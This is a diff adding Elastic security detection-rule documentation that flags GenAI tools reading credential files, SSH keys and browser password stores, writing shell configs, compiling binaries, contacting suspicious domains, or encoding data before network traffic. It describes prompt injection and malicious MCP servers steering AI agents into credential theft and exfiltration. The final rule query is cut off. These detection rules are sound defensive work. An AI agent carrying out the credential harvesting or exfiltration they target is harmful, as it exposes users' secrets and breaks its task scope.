a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-genai-process-accessing-sensitive-files.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-genai-process-accessing-sensitive-files.asciidoc new file mode 100644 index 0000000000..aa8eaf0c22 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-genai-process-accessing-sensitive-files.asciidoc @@ -0,0 +1,214 @@ +[[prebuilt-rule-8-19-34-genai-process-accessing-sensitive-files]] +=== GenAI Process Accessing Sensitive Files + +Detects when GenAI tools access sensitive files such as cloud credentials, SSH keys, browser password databases, or shell configurations. Attackers leverage GenAI agents to systematically locate and exfiltrate credentials, API keys, and tokens. Access to credential stores (.aws/credentials, .ssh/id_*) suggests harvesting, while writes to shell configs (.bashrc, .zshrc) indicate persistence attempts. Note: On linux only creation events are available. Access events are not yet implemented. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://atlas.mitre.org/techniques/AML.T0085 +* https://atlas.mitre.org/techniques/AML.T0085.001 +* https://atlas.mitre.org/techniques/AML.T0055 +* https://glama.ai/blog/2025-11-11-the-lethal-trifecta-securing-model-context-protocol-against-data-flow-attacks +* https://www.elastic.co/security-labs/elastic-advances-llm-security +* https://specterops.io/blog/2025/11/21/an-evening-with-claude-code + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Collection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Domain: LLM +* Mitre Atlas: T0085 +* Mitre Atlas: T0085.001 +* Mitre Atlas: T0055 +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS +* Domain: GenAI + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GenAI Process Accessing Sensitive Files* + + +This rule detects GenAI tools accessing credential files, SSH keys, browser data, or shell configurations. While GenAI tools legitimately access project files, access to sensitive credential stores is unusual and warrants investigation. + + +*Possible investigation steps* + + +- Review the GenAI process that triggered the alert to identify which tool is being used and verify if it's an expected/authorized tool. +- Investigate the user account associated with the GenAI process to determine if this activity is expected for that user. +- Review the types of sensitive files being accessed (credentials, keys, browser data, etc.) to assess the potential impact of credential harvesting or data exfiltration. +- Check for other alerts or suspicious activity on the same host around the same time, particularly network exfiltration events. +- Verify if the GenAI tool or extension is from a trusted source and if it's authorized for use in your environment. +- Determine if the GenAI process accessed multiple sensitive directories in sequence, an indication of credential harvesting. +- Check if the GenAI tool recently created or accessed AI agent config files, which may contain instructions enabling autonomous file scanning. +- Review whether the access was preceded by an MCP server, LangChain agent, or background automation. + + +*False positive analysis* + + +- Automated security scanning or auditing tools that leverage GenAI may access sensitive files as part of their normal operation. +- Development workflows that use GenAI tools for code analysis may occasionally access credential files. + + +*Response and remediation* + + +- Immediately review the GenAI process that accessed the documents to determine if it's compromised or malicious. +- Review, rotate, and revoke any API keys, tokens, or credentials that may have been exposed or used by the GenAI tool. +- Investigate the document access patterns to determine the scope of potential data exfiltration. +- Update security policies to restrict or monitor GenAI tool usage in the environment, especially for access to sensitive files. + + +==== Rule query + + +[source, js] +---------------------------------- +file where event.action in ("open", "creation", "modification") and event.outcome == "success" and + + // GenAI process + ( + process.name in~ ( + "ollama.exe", "ollama", + "textgen.exe", "textgen", "text-generation-webui.exe", "oobabooga.exe", + "lmstudio.exe", "lmstudio", "LM Studio", + "claude.exe", "claude", + "cursor.exe", "cursor", + "copilot.exe", "copilot", + "codex.exe", "codex", + "jan.exe", "jan", + "gpt4all.exe", "gpt4all", + "gemini-cli.exe", "gemini-cli", "gemini.exe", + "genaiscript.exe", "genaiscript", + "grok.exe", "grok", + "qwen.exe", "qwen", + "koboldcpp.exe", "koboldcpp", + "llama-server", "llama-cli", + "windsurf.exe", "windsurf", + "zed.exe", "zed", + "opencode.exe", "opencode", + "goose.exe", "goose" + ) + ) and + + // Sensitive file paths + ( + // Persistence via Shell configs + file.name in (".bashrc", ".bash_profile", ".zshrc", ".zshenv", ".zprofile", ".profile", ".bash_logout") or + + // Credentials In Files + file.name like~ + ("key?.db", + "logins.json", + "Login Data", + "Local State", + "signons.sqlite", + "Cookies", + "cookies.sqlite", + "Cookies.binarycookies", + "login.keychain-db", + "System.keychain", + "credentials.db", + "credentials", + "access_tokens.db", + "accessTokens.json", + "azureProfile.json", + "RDCMan.settings", + "known_hosts", + "KeePass.config.xml", + "Unattended.xml") + ) and not ( + host.os.type == "windows" and + file.name like~ "Local State" and + file.path : ( + "?:\\Users\\*\\AppData\\Roaming\\*\\Local State", + "?:\\Users\\*\\AppData\\Local\\Packages\\*\\LocalCache\\Roaming\\*\\Local State" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: RC Scripts +** ID: T1037.004 +** Reference URL: https://attack.mitre.org/techniques/T1037/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-genai-process-compiling-or-generating-executables.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-genai-process-compiling-or-generating-executables.asciidoc new file mode 100644 index 0000000000..0dcefabc39 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-genai-process-compiling-or-generating-executables.asciidoc @@ -0,0 +1,198 @@ +[[prebuilt-rule-8-19-34-genai-process-compiling-or-generating-executables]] +=== GenAI Process Compiling or Generating Executables + +Detects when GenAI tools spawn compilers or packaging tools to generate executables. Attackers leverage local LLMs to autonomously generate and compile malware, droppers, or implants. Python packaging tools (pyinstaller, nuitka, pyarmor) are particularly high-risk as they create standalone executables that can be deployed without dependencies. This rule focuses on compilation activity that produces output binaries, filtering out inspection-only operations. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://atlas.mitre.org/techniques/AML.T0053 +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Auditd Manager +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide +* Domain: LLM +* Mitre Atlas: T0053 +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS +* Domain: GenAI + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GenAI Process Compiling or Generating Executables* + + +This rule detects GenAI tools spawning compilers or packaging tools. While developers may use GenAI to write code that they then compile, autonomous compilation by GenAI processes is unusual. + + +*Possible investigation steps* + + +- Review the GenAI process that spawned the compiler to identify which tool is running and verify if it's an expected/authorized tool. +- Investigate the user account associated with the GenAI process to determine if this activity is expected for that user. +- Review the output files created by the compilation process to identify any malicious executables. +- Check for other alerts or suspicious activity on the same host around the same time. +- Verify if the GenAI tool is from a trusted source and if it's authorized for use in your environment. +- Identify whether the generated executables appear in temporary directories often used for malware staging (`%TEMP%`, `/tmp`, `.cache`). +- Inspect the compiled artifacts for networking imports, credential harvesting functionality, or persistence mechanisms. + + +*False positive analysis* + + +- Legitimate development workflows that use GenAI tools for code generation may trigger this rule if they compile the generated code. +- Some GenAI-assisted coding IDEs (Cursor, Copilot Workspace) may run compilation tasks when testing code; confirm whether the behavior is tied to developer workflow. + + +*Response and remediation* + + +- Terminate the GenAI process and any spawned compiler processes to stop the malicious activity. +- Investigate the compiled executables to determine if they are malicious. +- Review audit logs to determine the scope of compilation activity and identify any executables that may have been created. +- Quarantine any compiled binaries; submit suspicious artifacts to sandbox or malware analysis. + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and + + // GenAI parent process + ( + process.parent.name in ( + "ollama.exe", "ollama", "Ollama", + "textgen.exe", "textgen", "text-generation-webui.exe", "oobabooga.exe", + "lmstudio.exe", "lmstudio", "LM Studio", + "claude.exe", "claude", "Claude", + "cursor.exe", "cursor", "Cursor", "Cursor Helper", "Cursor Helper (Plugin)", + "copilot.exe", "copilot", "Copilot", + "codex.exe", "codex", + "Jan", "jan.exe", "jan", "Jan Helper", + "gpt4all.exe", "gpt4all", "GPT4All", + "gemini-cli.exe", "gemini-cli", + "genaiscript.exe", "genaiscript", + "grok.exe", "grok", + "qwen.exe", "qwen", + "koboldcpp.exe", "koboldcpp", "KoboldCpp", + "llama-server", "llama-cli" + ) or + + // Node/Deno with GenAI frameworks + (process.parent.name in ("node.exe", "node", "deno.exe", "deno") and + process.parent.command_line like~ ("*mcp-server*", "*@modelcontextprotocol*", "*langchain*", "*autogpt*", "*babyagi*", "*agentgpt*", "*crewai*", "*semantic-kernel*", "*llama-index*", "*haystack*")) or + + // Python with GenAI frameworks + (process.parent.name like~ "python*" and + process.parent.command_line like~ ("*langchain*", "*autogpt*", "*babyagi*", "*agentgpt*", "*crewai*", "*semantic-kernel*", "*llama-index*", "*haystack*")) + ) and + + // Compilation tools + ( + // Python packaging + process.name in ("pyinstaller", "py2exe", "cx_Freeze", "nuitka", "pyarmor", "pkg") or + + // C/C++ compilation with output + (process.name in ("gcc", "g++", "clang", "clang++", "cl.exe") and + process.command_line like~ "*-o *" and + process.command_line like~ ("*.c *", "*.c", "*.cpp *", "*.cpp", "*.cc *", "*.cc", "*.m *", "*.m") and + not process.command_line like~ "*git*") or + + // Go compilation + (process.name == "go" and process.args == "build") or + + // Rust compilation + (process.name == "cargo" and process.args == "build") or + (process.name == "rustc" and process.command_line like~ "*-o *") or + + // .NET compilation + process.name in ("csc.exe", "vbc.exe", "msbuild.exe") or + (process.name == "dotnet" and process.args == "build") or + + // Java compilation + process.name == "javac" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Compile After Delivery +** ID: T1027.004 +** Reference URL: https://attack.mitre.org/techniques/T1027/004/ +* Tactic: +** Name: Resource Development +** ID: TA0042 +** Reference URL: https://attack.mitre.org/tactics/TA0042/ +* Technique: +** Name: Develop Capabilities +** ID: T1587 +** Reference URL: https://attack.mitre.org/techniques/T1587/ +* Sub-technique: +** Name: Malware +** ID: T1587.001 +** Reference URL: https://attack.mitre.org/techniques/T1587/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-genai-process-connection-to-suspicious-top-level-domain.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-genai-process-connection-to-suspicious-top-level-domain.asciidoc new file mode 100644 index 0000000000..dca0f8ef2a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-genai-process-connection-to-suspicious-top-level-domain.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-34-genai-process-connection-to-suspicious-top-level-domain]] +=== GenAI Process Connection to Suspicious Top Level Domain + +Detects when GenAI tools connect to domains using suspicious TLDs commonly abused for malware C2 infrastructure. TLDs like .top, .xyz, .ml, .cf, .onion are frequently used in phishing and malware campaigns. Legitimate GenAI services use well-established domains (.com, .ai, .io), so connections to suspicious TLDs may indicate compromised tools, malicious plugins, or AI-generated code connecting to attacker infrastructure. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* winlogbeat-* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.cybercrimeinfocenter.org/top-20-tlds-by-malicious-phishing-domains +* https://atlas.mitre.org/techniques/AML.T0086 +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Domain: LLM +* Mitre Atlas: T0086 +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Suspicious TLD +* Threat: Unauthorized AI Usage +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: macOS +* Domain: GenAI + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GenAI Process Connection to Suspicious Top Level Domain* + + +This rule detects GenAI tools connecting to domains with TLDs commonly abused by malware. The suspicious TLD filter makes this a high-signal rule with low expected volume. + + +*Possible investigation steps* + + +- Review the GenAI process command line to identify which tool is running and verify if it's an expected/authorized tool. +- Examine the network connection details (destination IP, port, protocol) to understand the nature of the communication. +- Check the process execution chain to identify the full attack path and initial entry point. +- Investigate the user account associated with the GenAI process to determine if this activity is expected for that user. +- Review network traffic patterns to identify data exfiltration or command and control communications. +- Check for other alerts or suspicious activity on the same host around the same time. +- Verify if the GenAI tool is from a trusted source and if it's authorized for use in your environment. +- Confirm whether the suspicious domain is used by package registries, CDN mirrors, or AI plugin repos. +- Check if the GenAI tool attempted follow-up actions such as downloading scripts, connecting to IPs directly, or loading remote models. +- Inspect whether the domain matches prompt-redirections, malicious AI plugins, or compromised package dependencies. + + +*False positive analysis* + + +- Legitimate GenAI tools may occasionally connect to domains using suspicious TLDs if they're legitimate services. +- Package managers (npx, pnpm, yarn, bunx) may connect to package registries or CDNs that use suspicious TLDs. Review and exclude known legitimate package registries if needed. +- Some third-party AI plugin ecosystems (VSCode AI plugins, Cursor extensions) may download assets from unusual TLDs; verify allowlists. + + +*Response and remediation* + + +- Terminate the GenAI process and any spawned child processes to stop the malicious activity. +- Review and revoke any API keys, tokens, or credentials that may have been exposed or used by the GenAI tool. +- Block the identified suspicious domains at the network level. +- Investigate the GenAI tool configuration to identify how it was configured and what it was authorized to access. +- Update security policies to restrict or monitor GenAI tool usage in the environment, especially for network communications. +- Add detection for secondary indicators (reverse shells, encoded C2 traffic, odd user-agent strings). + + +==== Rule query + + +[source, js] +---------------------------------- +network where host.os.type in ("macos", "windows") and + + // GenAI processes + process.name in ( + "ollama.exe", "ollama", "Ollama", + "textgen.exe", "textgen", "text-generation-webui.exe", "oobabooga.exe", + "lmstudio.exe", "lmstudio", "LM Studio", + "claude.exe", "claude", "Claude", + "cursor.exe", "cursor", "Cursor", + "copilot.exe", "copilot", "Copilot", + "codex.exe", "codex", + "Jan", "jan.exe", "jan", + "gpt4all.exe", "gpt4all", "GPT4All", + "gemini-cli.exe", "gemini-cli", + "genaiscript.exe", "genaiscript", + "grok.exe", "grok", + "qwen.exe", "qwen", + "koboldcpp.exe", "koboldcpp", "KoboldCpp", + "llama-server", "llama-cli", + "deno.exe", "deno", + "npx", "pnpm", "yarn", "bunx" + ) and + + // Suspicious TLDs + ( + // Windows DNS events + (host.os.type == "windows" and dns.question.name != null and + dns.question.name regex """.*\.(top|buzz|xyz|rest|ml|cf|gq|ga|onion|monster|cyou|quest|cc|bar|cfd|click|cam|surf|tk|shop|club|icu|pw|ws|online|fun|life|boats|store|hair|skin|motorcycles|christmas|lol|makeup|mom|bond|beauty|biz|live|work|zip|country|accountant|date|party|science|loan|win|men|faith|review|racing|download|host)""") or + + // macOS network events + (host.os.type == "macos" and destination.domain != null and + destination.domain regex """.*\.(top|buzz|xyz|rest|ml|cf|gq|ga|onion|monster|cyou|quest|cc|bar|cfd|click|cam|surf|tk|shop|club|icu|pw|ws|online|fun|life|boats|store|hair|skin|motorcycles|christmas|lol|makeup|mom|bond|beauty|biz|live|work|zip|country|accountant|date|party|science|loan|win|men|faith|review|racing|download|host)""") + + // Linux DNS events + // Revist when available + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: DNS +** ID: T1071.004 +** Reference URL: https://attack.mitre.org/techniques/T1071/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-genai-process-connection-to-unusual-domain.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-genai-process-connection-to-unusual-domain.asciidoc new file mode 100644 index 0000000000..22abc3d900 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-genai-process-connection-to-unusual-domain.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-34-genai-process-connection-to-unusual-domain]] +=== GenAI Process Connection to Unusual Domain + +Detects GenAI tools connecting to unusual domains on macOS. Adversaries may compromise GenAI tools through prompt injection, malicious MCP servers, or poisoned plugins to establish C2 channels or exfiltrate sensitive data to attacker-controlled infrastructure. AI agents with network access can be manipulated to beacon to external servers, download malicious payloads, or transmit harvested credentials and documents. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.network* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://atlas.mitre.org/techniques/AML.T0086 +* https://glama.ai/blog/2025-11-11-the-lethal-trifecta-securing-model-context-protocol-against-data-flow-attacks +* https://www.elastic.co/security-labs/elastic-advances-llm-security +* https://specterops.io/blog/2025/11/21/an-evening-with-claude-code + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Domain: LLM +* Mitre Atlas: T0086 +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: New Terms +* Platform: macOS +* Domain: GenAI + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GenAI Process Connection to Unusual Domain* + + +GenAI tools with network access can be weaponized to contact attacker infrastructure for C2, data exfiltration, or payload retrieval. Compromised MCP servers, malicious plugins, or prompt injection attacks can redirect AI agents to connect to arbitrary domains. While legitimate GenAI tools connect to vendor APIs and CDNs, connections to unusual domains may indicate exploitation. + + +*Possible investigation steps* + + +- Review the destination domain to determine if it's a legitimate GenAI service, CDN, package registry, or potentially malicious infrastructure. +- Investigate the GenAI process command line and configuration to identify what triggered the connection (plugin, MCP server, user prompt). +- Check if the domain was recently registered, uses a suspicious TLD, or has a low reputation score in threat intelligence feeds. +- Review the timing and context of the connection to determine if it correlates with user activity or was automated. +- Examine network traffic to and from the domain to identify the nature of the communication (API calls, file downloads, data exfiltration). +- Check for other hosts in the environment connecting to the same domain to determine if this is an isolated incident. +- Investigate whether the GenAI tool's configuration files were recently modified to add new MCP servers or plugins. +- Correlate with file events to see if the GenAI tool downloaded or created files around the same time as the connection. + + +*False positive analysis* + + +- GenAI tools may connect to new domains as vendors update their infrastructure, CDNs, or API endpoints. +- Package managers (npm, pip) used by MCP servers may connect to package registries for dependency resolution. +- Legitimate MCP servers and AI plugins connect to their respective backend services. +- Developer workflows testing new AI integrations or MCP servers will naturally trigger alerts for novel domain connections. + + +*Response and remediation* + + +- If the domain is confirmed malicious, block it at the network level and investigate the source of the compromise. +- Review the GenAI tool's configuration for unauthorized MCP servers, plugins, or extensions that initiated the connection. +- Investigate any data that may have been sent to the suspicious domain and assess the potential for data exfiltration. +- Review and rotate any API keys, tokens, or credentials used by the GenAI tool. +- Update detection rules to monitor the identified domain across all hosts in the environment. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:network and host.os.type:macos and event.action:connection_attempted and +( + process.name:( + Claude or "Claude Helper" or "Claude Helper (Plugin)" or Copilot or Cursor or + "Cursor Helper" or "Cursor Helper (Plugin)" or GPT4All or Jan or "Jan Helper" or + KoboldCpp or "LM Studio" or Ollama or Windsurf or "Windsurf Helper" or + "Windsurf Helper (Plugin)" or bunx or claude or codex or copilot or cursor or deno or + gemini-cli or genaiscript or gpt4all or grok or jan or koboldcpp or llama-cli or + llama-server or lmstudio or npx or ollama or pnpm or qwen or textgen or windsurf or yarn + ) +) and destination.domain:(* and not ( + aka.ms or anthropic.com or atlassian.com or cursor.com or cursor.sh or github.com or + gpt4all.io or hf.co or huggingface.co or lmstudio.ai or localhost or ollama.ai or + ollama.com or openai.com or *.aka.ms or *.akamaized.net or *.amazonaws.com or + *.amplitude.com or *.anthropic.com or *.atlassian.com or *.aws.amazon.com or + *.azure.com or *.cdn.cloudflare.net or *.cloudflare-dns.com or *.cloudflare.com or + *.cloudflarestorage.com or *.codeium.com or *.cursor.com or *.cursor.sh or + *datadoghq.com or *.elastic-cloud.com or *.elastic.co or *.exp-tas.com or + *.gemini.google.com or *.generativelanguage.googleapis.com or *.github.com or + *.githubcopilot.com or *.githubusercontent.com or *.gitkraken.com or *.gitkraken.dev or + *.google.com or *.googleapis.com or *.gpt4all.io or *.grok.x.ai or *.hf.co or + *.honeycomb.io or *.huggingface.co or *.intercom.io or *.jan.ai or *.launchdarkly.com or + *.lmstudio.ai or *.microsoft.com or *.mixpanel.com or *.msedge.net or *.npmjs.com or + *.npmjs.org or *.oaiusercontent.com or *.ollama.ai or *.ollama.com or *.openai.com or + *.pypi.org or *.r2.cloudflarestorage.com or *.schemastore.org or *.segment.io or + *.sentry.io or *.visualstudio.com or *.vsassets.io or *.vscode-cdn.net or + *.windsurf.ai or *.x.ai or *.yarnpkg.com or *.cartocdn.com or *.chatgpt.com or + *.claude.ai or *.claude.com or *.claudeusercontent.com or *.ggpht.com or *.gstatic.com or + *.googleusercontent.com or *.launchpadcontent.net or *.pythonhosted.org or + *.recaptcha.net or *.shields.io or *.snapcraftcontent.com or *.snapcraft.io or + *.stripe.com or *.travis-ci.com or *.travis-ci.org or *.ubuntu.com or *.ytimg.com or + *.github.io or *.githubassets.com or *.jsdelivr.net or *.nodesource.com or + *.asana.com or arxiv.org or chatgpt.com or claude.ai or claude.com or flagcdn.com or + gitlab.com or mcp.linear.app or mcp.notion.com or mcp.slack.com or + opencollective.com or pypi.org +)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-genai-process-performing-encoding-chunking-prior-to-network-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-genai-process-performing-encoding-chunking-prior-to-network-activity.asciidoc new file mode 100644 index 0000000000..d01769c3b9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-genai-process-performing-encoding-chunking-prior-to-network-activity.asciidoc @@ -0,0 +1,225 @@ +[[prebuilt-rule-8-19-34-genai-process-performing-encoding-chunking-prior-to-network-activity]] +=== GenAI Process Performing Encoding/Chunking Prior to Network Activity + +Detects when GenAI processes perform encoding or chunking (base64, gzip, tar, zip) followed by outbound network activity. This sequence indicates data preparation for exfiltration. Attackers encode or compress sensitive data before transmission to obfuscate contents and evade detection. Legitimate GenAI workflows rarely encode data before network communications. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://atlas.mitre.org/techniques/AML.T0086 +* https://glama.ai/blog/2025-11-11-the-lethal-trifecta-securing-model-context-protocol-against-data-flow-attacks +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Exfiltration +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide +* Domain: LLM +* Mitre Atlas: T0086 +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS +* Domain: GenAI + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GenAI Process Performing Encoding/Chunking Prior to Network Activity* + + +GenAI processes performing encoding or chunking operations followed by network activity is highly suspicious. This behavior indicates data preparation for exfiltration via GenAI prompts or agents, which is a strong indicator of malicious activity. + + +*Possible investigation steps* + + +- Review the GenAI process that performed the encoding to identify which tool is running and verify if it's an expected/authorized tool. +- Examine the encoding/chunking command line arguments to understand what data is being processed. +- Review the network connection details to identify the destination and determine if it's expected. +- Investigate the user account associated with the GenAI process to determine if this activity is expected for that user. +- Review the data that was encoded to determine if it contains sensitive information. +- Determine whether the encoding was initiated by a GenAI agent or automation loop rather than a user action. +- Check whether the encoded data size or entropy suggests credential files, browser data, SSH keys, or cloud tokens. +- Validate that the GenAI tool is installed from a trusted source and has not been modified. + + +*False positive analysis* + + +- Legitimate data processing workflows that use GenAI tools may trigger this rule if they encode data before transmission. +- Some local developer workflows may encode files before uploading training data or embeddings; confirm whether the host is a model-development workstation. + + +*Response and remediation* + + +- Terminate the GenAI process and any spawned encoding/network processes to stop the malicious activity. +- Review and revoke any API keys, tokens, or credentials that may have been exposed or used by the GenAI tool. +- Investigate the encoded data and network destination to determine the scope of potential data exfiltration. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=30s + + // Encoding/compression followed by network activity + [process where event.type == "start" + and event.type == "start" + + // Encoding/chunking tools + and ( + // Native encoding tools + process.name in ("base64", "gzip", "tar", "zip", "split", "7z", "7za", "7zr") or + + // PowerShell encoding + (process.name in ("powershell.exe", "pwsh.exe") and + process.command_line like~ ("*Compress-Archive*", "*[Convert]::ToBase64String*")) or + + // Python encoding + (process.name like~ "python*" and + process.command_line like~ ("*base64*", "*gzip*", "*zlib*", "*tarfile*", "*zipfile*")) or + + // Node.js encoding + (process.name in ("node.exe", "node") and + process.command_line like~ ("*Buffer.from*", "*zlib*", "*gzip*") and + not process.command_line like~ ("*mcp*start*", "*mcp-server*", "*npm exec*mcp*")) + ) + + // GenAI parent process + and ( + process.parent.name in ( + "ollama.exe", "ollama", "Ollama", + "textgen.exe", "textgen", "text-generation-webui.exe", "oobabooga.exe", + "lmstudio.exe", "lmstudio", "LM Studio", + "claude.exe", "claude", "Claude", + "cursor.exe", "cursor", "Cursor", "Cursor Helper", "Cursor Helper (Plugin)", + "copilot.exe", "copilot", "Copilot", + "codex.exe", "codex", + "Jan", "jan.exe", "jan", "Jan Helper", + "gpt4all.exe", "gpt4all", "GPT4All", + "gemini-cli.exe", "gemini-cli", + "genaiscript.exe", "genaiscript", + "grok.exe", "grok", + "qwen.exe", "qwen", + "koboldcpp.exe", "koboldcpp", "KoboldCpp", + "llama-server", "llama-cli" + ) or + + // Node/Deno with GenAI 